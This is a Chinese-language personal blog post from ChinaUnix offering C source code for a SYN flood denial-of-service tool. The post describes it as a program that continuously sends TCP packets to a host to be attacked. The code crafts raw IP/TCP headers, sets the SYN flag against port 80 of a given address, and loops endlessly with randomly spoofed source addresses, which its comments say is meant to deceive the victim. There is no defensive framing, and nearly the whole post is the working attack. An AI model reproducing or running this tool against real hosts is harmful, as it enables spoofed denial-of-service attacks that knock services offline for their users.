Chinaunix首页 | 论坛 | 博客
  • 博客访问: 338134
  • 博文数量: 73
  • 博客积分: 0
  • 博客等级: 民兵
  • 技术积分: 1293
  • 用 户 组: 普通用户
  • 注册时间: 2013-03-07 11:17
个人简介

爱运动,爱看书,爱生活!

文章分类

全部博文(73)

文章存档

2014年(7)

2013年(66)

分类: LINUX

2013-08-15 11:13:17

这个程序主要是连续不断向要攻击的主机发送TCP数据包

点击(此处)折叠或打开

  1. #include <stdio.h>
  2. #include <unistd.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <sys/socket.h>
  6. #include <netinet/in.h>
  7. #include <arpa/inet.h>
  8. #include <netinet/tcp.h>
  9. #include <netinet/ip.h>
  10. #include <string.h>

  11. #define DESTPORT 80     //要攻击的端口
  12. #define LOCALPORT 8888    //本地端口

  13. void send_tcp(int sockfd,struct sockaddr_in *addr);//函数用于发送数据包
  14. int main(int argc,char **argv)
  15. {
  16.     struct sockaddr_in addr;
  17.     int sockfd;
  18.     int val=1;
  19.     //1.输入要攻击的IP
  20.     printf("请输入要攻击的主机地址:\n");
  21.     if(argc!=2){

  22.         fprintf(stderr, "USAGE::%s ip\n", argv[0]);
  23.     }
  24.     //2.设置地址格式
  25.         //2.1 初始化IP地址
  26.     bzero(&addr,sizeof(struct sockaddr_in));
  27.     addr.sin_family=AF_INET;
  28.     addr.sin_port=htons(DESTPORT);
  29.     addr.sin_addr.s_addr=inet_addr(argv[1]);
  30.     
  31.     //3.使用IPPROTO_TCP创建一个TCP 原始套接字
  32.     sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
  33.     if(sockfd==-1) printf("socket error.\n"),exit(-1);
  34.     //4.设置IP 数据报格式告诉系统内核模块IP数据报有我们自己填写
  35.     int r;
  36.     r=setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&val,sizeof(val));
  37.     //5.调用send_tcp发送数据包
  38.     send_tcp(sockfd,&addr);
  39.     return 0;
  40. }

  41. void send_tcp(int sockfd,struct sockaddr_in *addr)
  42. {
  43.     //1.定义数据包相关数据
  44.     char buf[100];
  45.     struct ip *ip;
  46.     struct tcphdr *tcp;
  47.     int head_len;//IPip数据报长度

  48.     //IPIP数据包没有其他数据,所以长度就是两个结构体大小
  49.     head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
  50.     //2.填充IP 数据报
  51.     ip=(struct ip*)buf;

  52.     ip->ip_v=4;                /* version */
  53.     ip->ip_hl=sizeof(struct ip)>>2;    /* header length???????????????? */
  54.         ip->ip_tos=0;                        /* type of service */
  55.        ip->ip_len=htons(head_len);                        /* total length */
  56.         ip->ip_id=0;                        /* identification */
  57.         ip->ip_off=0;                        /* fragment offset field */
  58.     ip->ip_ttl=MAXTTL;            /* time to live */
  59.         ip->ip_p=IPPROTO_TCP;            /* protocol */
  60.         ip->ip_sum=0;            /* checksum */
  61.         struct in_addr ip_src;
  62.         ip->ip_dst=addr->sin_addr;    
  63.         printf("攻击目标地址:%s\n",inet_ntoa(addr->sin_addr));
  64.     //3.填充TCP数据报
  65.     tcp=(struct tcphdr*)(buf+sizeof(struct ip));
  66.     tcp->source=htons(LOCALPORT);
  67.     tcp->dest=addr->sin_port;/**目的端口**/
  68.     tcp->seq=random();//32为序列号
  69.     tcp->ack_seq=0;//32位确认系列号
  70.     tcp->doff=5;
  71.     tcp->syn=1;/**我要建立连接**/
  72.     tcp->check=0;
  73.     //4.循环发送攻击包
  74.     int r;
  75.     while(1){

  76.         ip->ip_src.s_addr=random();//源地址随机产生,欺骗被攻击者
  77.         printf("源地址:%d\n",ip->ip_src.s_addr);
  78.         r=sendto(sockfd,buf,head_len,0,(struct sockaddr*)addr,sizeof(struct sockaddr));
  79.         if (r==-1)
  80.         {
  81.             printf("sendto 失败:\n");
  82.             exit(-1);
  83.         }
  84.     }


  85. }

阅读(1723) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~